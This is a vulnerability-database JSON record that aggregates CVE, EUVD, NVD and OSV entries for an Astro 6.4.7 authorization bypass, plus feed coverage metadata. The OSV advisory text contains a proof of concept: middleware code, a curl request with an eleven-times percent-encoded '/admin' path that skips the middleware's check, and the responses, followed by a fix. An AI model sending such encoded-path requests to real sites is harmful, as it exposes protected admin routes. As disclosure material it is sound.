{"id":"GHSA-vj59-8hwv-xxmv","revision":null,"records":[{"revision":"23ceb7a17a364fd383cfe6c1d0b81bdd","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-59731","aliases":[],"title":"Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch","description":"Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8.","state":0,"publishedAt":"2026-07-08T16:27:18.496+00:00","modifiedAt":"2026-07-09T14:38:54.995+00:00","affected":[{"ecosystem":"Vendor product","name":"astro","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"withastro\",\n                    \"product\": \"astro\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 6.4.7, < 6.4.8\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":8.2,"severity":"HIGH"}],"references":["https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv","https://github.com/withastro/astro/pull/17109","https://github.com/withastro/astro/commit/27c80ea92248993e5fce94b2c26d87d611ab6785","https://github.com/withastro/astro/releases/tag/astro@6.4.8"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-59731","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-59731","identifiers":["CVE-2026-59731"]},"retained":false,"historicalAffected":[]},{"revision":"b6831b7e557b4f7991742fc9aa67b657","observedAt":"2026-11-07T13:25:20.966+00:00","statement":{"source":"euvd","id":"EUVD-2026-42341","aliases":["CVE-2026-59731","GHSA-vj59-8hwv-xxmv"],"title":"Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional d…","description":"Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":8.2,"severity":null}],"references":["https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv","https://github.com/withastro/astro/pull/17109","https://github.com/withastro/astro/commit/27c80ea92248993e5fce94b2c26d87d611ab6785","https://github.com/withastro/astro/releases/tag/astro@6.4.8"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-42341","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 8, 2026, 4:27:18 PM","dateUpdated":"Jul 9, 2026, 2:38:54 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-42341","identifiers":["EUVD-2026-42341","CVE-2026-59731","GHSA-vj59-8hwv-xxmv"]},"retained":false,"historicalAffected":[]},{"revision":"3777568aeec742f2a2ff234850fdb097","observedAt":"2026-10-27T15:15:33.457+00:00","statement":{"source":"nvd","id":"CVE-2026-59731","aliases":[],"title":"Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional d…","description":"Astro is a web framework for content-driven websites. Version 6.4.7 performs authorization decisions on a partially decoded pathname after reaching the iterative URL decoder limit, while later rewrite route matching performs an additional decodeURI() operation and can resolve the request to a protected route. This issue is fixed in version 6.4.8.","state":0,"publishedAt":"2026-07-08T17:17:25.937+00:00","modifiedAt":"2026-10-25T17:10:00.197+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":8.2,"severity":"HIGH"}],"references":["https://github.com/withastro/astro/commit/27c80ea92248993e5fce94b2c26d87d611ab6785","https://github.com/withastro/astro/pull/17109","https://github.com/withastro/astro/releases/tag/astro@6.4.8","https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-59731","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-647"],"productCriteria":[],"sourceDates":{"published":"2026-07-08T17:17:25.937","lastModified":"2026-10-25T17:10:00.197"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-59731","identifiers":["CVE-2026-59731"]},"retained":false,"historicalAffected":[]},{"revision":"12563c80535d4767aaa70ab37eaca071","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-vj59-8hwv-xxmv","aliases":["CVE-2026-59731"],"title":"Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch","description":"# Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch\n\n## Summary\n\nAstro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.\n\nThe issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional `decodeURI()` operation and resolves the request to a protected route.\n\nAs a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.\n\n**Potential CWE:** CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions\n\n---\n\n## Vulnerable Pattern\n\nMiddleware authorization sees:\n\n```text\n/%61dmin\n```\n\nLater rewrite route matching sees:\n\n```text\n/admin\n```\n\nThis discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.\n\n---\n\n## Root Cause\n\n### Iterative Decoding Logic\n\nPR #16967 introduced iterative URI decoding:\n\n```js\nlet iterations = 0;\n\nwhile (decoded !== pathname && iterations < 10) {\n\tpathname = decoded;\n\n\ttry {\n\t\tdecoded = decodeURI(pathname);\n\t} catch {\n\t\t// decodeURI can fail when a decoded literal '%' forms an\n\t\t// invalid sequence with adjacent characters.\n\t\tbreak;\n\t}\n\n\titerations++;\n}\n\nreturn decoded;\n```\n\nThe intent was to ensure middleware receives a fully decoded canonical pathname.\n\nHowever, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.\n\n---\n\n### Rewrite Route Matching\n\nLater, Astro performs another decode during route matching:\n\n```js\nconst decodedPathname = decodeURI(pathname);\n```\n\nConsequently:\n\n```text\nMiddleware pathname: /%61dmin\nRoute matcher:       /admin\n```\n\nThis creates a canonicalization mismatch between authorization logic and routing logic.\n\n---\n\n## Proof of Concept\n\n### Middleware\n\n```js\nimport { defineMiddleware } from 'astro:middleware';\n\nexport const onRequest = defineMiddleware(async (context, next) => {\n\tconst pathname = context.url.pathname;\n\n\tif (pathname === '/admin' || pathname.startsWith('/admin/')) {\n\t\treturn new Response(\n\t\t\t'403 Forbidden: middleware blocked canonical /admin',\n\t\t\t{\n\t\t\t\tstatus: 403,\n\t\t\t\theaders: {\n\t\t\t\t\t'content-type': 'text/plain;charset=UTF-8',\n\t\t\t\t\t'x-middleware-pathname': pathname,\n\t\t\t\t},\n\t\t\t}\n\t\t);\n\t}\n\n\tif (pathname !== '/') {\n\t\tconst response = await next(context.url);\n\n\t\tresponse.headers.set('x-middleware-pathname', pathname);\n\t\tresponse.headers.set(\n\t\t\t'x-vuln-pattern',\n\t\t\t'next(context.url) rewrite after pathname check'\n\t\t);\n\n\t\treturn response;\n\t}\n\n\treturn next();\n});\n```\n\nThe critical pattern is:\n\n```js\nreturn next(context.url);\n```\n\nThe middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.\n\n---\n\n## Reproduction\n\n### Protected Route\n\n```bash\ncurl -i http://127.0.0.1:8989/admin\n```\n\nResponse:\n\n```http\nHTTP/1.1 403 Forbidden\nx-middleware-pathname: /admin\n\n403 Forbidden: middleware blocked canonical /admin\n```\n\n---\n\n### Bypass Request\n\n```bash\ncurl -i http://127.0.0.1:8989/%252525252525252525252561dmin\n```\n\nResponse:\n\n```http\nHTTP/1.1 200 OK\nx-middleware-pathname: /%61dmin\nx-vuln-pattern: next(context.url) rewrite after pathname check\n\nAdmin page reached\nProtected content rendered after rewrite route matching.\nrequest url: http://127.0.0.1:8989/%61dmin\n```\n\nThis demonstrates:\n\n```text\nMiddleware saw: /%61dmin\nRouter reached: /admin\n```\n\n---\n\n## Encoding Depth Analysis\n\nThe bypass occurs at encoding depth 11.\n\n### Decoder Trace\n\n```text\ndepth 0:  /%61dmin                              -> /admin\ndepth 1:  /%2561dmin                            -> /admin\ndepth 2:  /%252561dmin                          -> /admin\ndepth 3:  /%25252561dmin                        -> /admin\ndepth 4:  /%2525252561dmin                      -> /admin\ndepth 5:  /%252525252561dmin                    -> /admin\ndepth 6:  /%25252525252561dmin                  -> /admin\ndepth 7:  /%2525252525252561dmin                -> /admin\ndepth 8:  /%252525252525252561dmin              -> /admin\ndepth 9:  /%25252525252525252561dmin            -> /admin\ndepth 10: /%2525252525252525252561dmin          -> /admin\ndepth 11: /%252525252525252525252561dmin        -> /%61dmin\n```\n\nDepths 0–10 are fully decoded and blocked by middleware.\n\nDepth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit.\n\nA later `decodeURI()` converts:\n\n```text\n/%61dmin\n```\n\ninto:\n\n```text\n/admin\n```\n\nallowing route matching to reach the protected endpoint.\n\n---\n\n## Exploit Preconditions\n\nExploitation requires:\n\n### 1. Path-Based Authorization\n\nMiddleware performs authorization using:\n\n```js\ncontext.url.pathname\n```\n\nFor example:\n\n```js\nif (context.url.pathname === '/admin') {\n\tblock();\n}\n```\n\n### 2. Rewrite-Based Routing\n\nThe request is subsequently passed into Astro routing via:\n\n```js\nnext(context.url)\n```\n\nor equivalent rewrite behavior that performs route matching after middleware execution.\n\n---\n\n## Impact\n\nAn unauthenticated attacker may bypass middleware protections guarding routes such as:\n\n```text\n/admin\n/api/admin\n/internal\n/dashboard\n```\n\nif the application:\n\n1. Relies on pathname-based authorization checks.\n2. Uses rewrite behavior that performs route matching after middleware execution.\n\nAffected applications may expose protected pages or APIs despite middleware restrictions.\n\n---\n\n## Security Analysis\n\nThe issue belongs to the same vulnerability class as the previously disclosed Astro middleware encoding bypass.\n\nPrevious advisories demonstrated bypasses using:\n\n```text\n/%2561dmin\n```\n\nto reach:\n\n```text\n/admin\n```\n\nThe 6.4.7 fix attempted to ensure middleware receives a canonical pathname by repeatedly decoding URL-encoded paths.\n\nHowever, because decoding is capped at 10 iterations and partially decoded paths are returned, an attacker can simply increase encoding depth beyond the cap and recreate the authorization-routing mismatch.\n\nThe existence of a decoding limit is not itself problematic.\n\nThe vulnerability arises because Astro:\n\n1. Stops decoding.\n2. Returns a partially canonicalized pathname.\n3. Performs additional decoding later during route matching.\n\nAuthorization and routing therefore operate on different pathname representations.\n\n---\n\n## Recommended Fix\n\nDo not return partially decoded pathnames when the iteration limit is exceeded.\n\nInstead, reject the request whenever decoding has not stabilized before reaching the cap.\n\n### Example Fix\n\n```js\nlet iterations = 0;\n\nwhile (decoded !== pathname) {\n\tif (iterations >= 10) {\n\t\tthrow new Error('URL encoding depth exceeded');\n\t}\n\n\tpathname = decoded;\n\n\ttry {\n\t\tdecoded = decodeURI(pathname);\n\t} catch {\n\t\tbreak;\n\t}\n\n\titerations++;\n}\n\nreturn decoded;\n```\n\n### Additional Hardening\n\nAstro should centralize pathname canonicalization and ensure routing logic never performs an additional independent `decodeURI()` on values that have already been normalized.\n\nAuthorization and route matching must operate on the exact same canonical pathname representation.\n\n---\n\n## Conclusion\n\nAstro 6.4.7 appears vulnerable to an authorization bypass caused by a pathname canonicalization mismatch introduced by the iterative decoding limit.\n\nWhen URL encoding depth exceeds the decoder's maximum iteration count, middleware receives a partially decoded pathname while later route matching performs additional decoding and resolves the request to a protected route.\n\nThis can allow unauthorized access to routes protected by pathname-based middleware authorization and should be addressed by rejecting over-encoded paths or ensuring a single canonical pathname representation is used throughout request processing.","state":0,"publishedAt":"2026-07-20T21:58:27+00:00","modifiedAt":"2026-07-20T22:00:25.3549107+00:00","affected":[{"ecosystem":"npm","name":"astro","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"6.4.7"},{"kind":"fixed","version":"6.4.8"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/withastro/astro/security/advisories/GHSA-vj59-8hwv-xxmv","https://nvd.nist.gov/vuln/detail/CVE-2026-59731","https://github.com/withastro/astro/pull/17109","https://github.com/withastro/astro/commit/27c80ea92248993e5fce94b2c26d87d611ab6785","https://github.com/withastro/astro","https://github.com/withastro/astro/releases/tag/astro@6.4.8"],"sourceUrl":"https://github.com/advisories/GHSA-vj59-8hwv-xxmv","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-vj59-8hwv-xxmv","identifiers":["GHSA-vj59-8hwv-xxmv","CVE-2026-59731"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.018923+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0189237+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-5978693a555a2fac0feee4f8e1cdc5e013b9a91b16046d4e34ae63a3d3db8d19","complete":true,"records":420947,"lastAttemptAt":"2026-11-07T21:52:16.4606105+00:00","lastSuccessAt":"2026-11-07T21:52:16.3995215+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.4606105+00:00","snapshotPublishedAt":"2026-11-07T21:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c91a0736a9624a48aebf081ca5dd86b2","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T22:04:27.1191985+00:00","lastSuccessAt":"2026-11-07T22:04:27.115+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:04:27.115+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.0199092+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0199095+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2b22c2d15f834007aa54c93f73b8deaf","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T21:52:42.2590883+00:00","lastSuccessAt":"2026-11-07T21:52:42.255+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:42.255+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T21:52:16.7352005+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7352005+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T21:52:16.5087916+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.5087916+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T21:52:16.7531721+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7531721+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T21:52:16.6283313+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.6283313+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}